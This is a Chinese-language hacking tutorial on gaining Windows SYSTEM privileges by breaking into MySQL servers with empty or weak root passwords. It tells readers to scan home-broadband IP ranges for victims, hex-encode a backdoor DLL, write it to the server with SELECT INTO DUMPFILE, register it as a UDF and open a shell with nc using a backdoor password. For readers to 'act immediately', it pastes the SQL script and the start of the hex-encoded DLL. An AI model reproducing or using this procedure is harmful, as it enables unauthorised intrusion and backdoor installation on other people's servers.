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由mysql弱口令取得system权限的实战

摘要：由mysql弱口令取得windows的system权限的实战今年五月mix在幻影论坛公布了一篇关于mysql入侵的文章(,连接地址='htt...

由mysql弱口令取得windows的system权限的实战

今年五月mix在幻影论坛公布了一篇关于mysql入侵的文章(<<Windows环境下通过MySQL以SYSTEM身份

执行系统命令>>,连接地址='http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006'target=_blank>http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反应强烈.随

后不久,黑客基地古典辣m做了个演示动画,可惜其中的用到mysql.txt并没有公布,造成很多不熟悉mysql的

人不能实战入侵mysql.

其实通过注册mysql的UDFDLL中自写的Function而执行任意命令早在去年12月已经公布了,参看文章

='http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33331;'target=_blank>http://www.

ph4nt0m.org/bbs/showthread.php?s=&threadid=33331;而mix实现直接从mysql客户端传送二

进制文件进入服务端硬盘中,不得不说是一个了不起的发现!下面我来说说我的入侵实战!

1.打开hscan1.2扫描一段ip,我推荐大家扫描adsl所在的ip段,因为这些段ip的主人安全意思差,从而

能扫到大量的mysql的root口令为空且有访问mysql默认数据库mysql的权限.

2.在自己的机器上装个mysqlforwindows.下载地址

='http://download.pchome.net/internet/server/dbserver/2506.html'target=_blank>http://download

.pchome.net/internet/server/dbserver/2506.html

3.在幻影论坛下载个my_udf.dll或者mix.dll(我比较偏好my_udf.dll,因为mix.dll会造成mysql假

死).

4.运行winhex,打开my_udf.dll,点edit菜单下面的copyall选hexvalues;打开记事本,点粘贴,这样

就把十六进制的my_udf.dll复制进去了!

5.再打开另外个记事本写入如下语句:

usemysql;

set@a=concat('',0x...)

createtableMix(dataLONGBLOB);

insertintoMixvalues("");updateMixsetdata=@a;

selectdatafromMixintoDUMPFILE'c:my_udf.dll';

createFUNCTIONmy_udfdoorRETURNSSTRINGSONAME'c:my_udf.dll';

selectmy_udfdoor('');

6.把第四步中记事本上的十六进制数据复制出来替换掉第5步中第二行语句中的"...",并保存到c盘根

目录下面,命名为mysql.txt.

7.在本地打开一个dos命令窗口,跳转到mysql安装目录下面,输入mysql-h218.1.1.1-uroot-p123

(注意,把218.1.1.1,root,123分别替换为你的hscan扫描到的ip,username,password的值.如果password的

值为空,则可以不需要参数-p);

8.在第7步中连接成功远程mysql服务器的话,就输入.c:mysql.txt并敲一下回车.如果远程mysql

是运行在windows操作系统下的且你扫描到的mysql帐号权限足够高的话,就会成功在远程服务器上装上你

的后门.

9.最后用nc来连接此服务器的3306端口,并输入密码fuck,按回车,如果shell没有出来,就多敲几次回

车.如果还是不出shell,那就换个目标试一试吧.

下面我贴上我机器上的mysql.txt的内容,方便大家立即行动!不过后门密码不是fuck,我改为ping了.

欢迎大家光顾我的小站='http://www.hackercradle.com/.'target=_blank>http://www.hackercradle.com

/.我的qq群2762695,9207339欢迎加入-----

----------------------------------------------------------------------------------

usemysql;

set@a=concat('',

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000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D20

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6487C356646DDC5D6487C359646EDC5D64526963686FDC5D6400000000000000000000000000000000504500004C

010400DEB188420000000000000000E0000E210B010600004000000030000000000000B915000000100000005000

00000000100010000000100000040000000100000004000000000000000080000000100000000000000200000000

0010000010000000001000001000000000000010000000D05A000048000000B05500005000000000000000000000

00000000000000000000000000000000000070000094040000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000500000F00000000000000000000000000000

000000000000000000000000002E74657874000000F4350000001000000040000000100000000000000000000000

000000200000602E72646174610000180B0000005000000010000000500000000000000000000000000000400000

402E64617461000000E00F0000006000000010000000600000000000000000000000000000400000C02E72656C6F

6300002A0B0000007000000010000000700000000000000000000000000000400000420000000000000000000000

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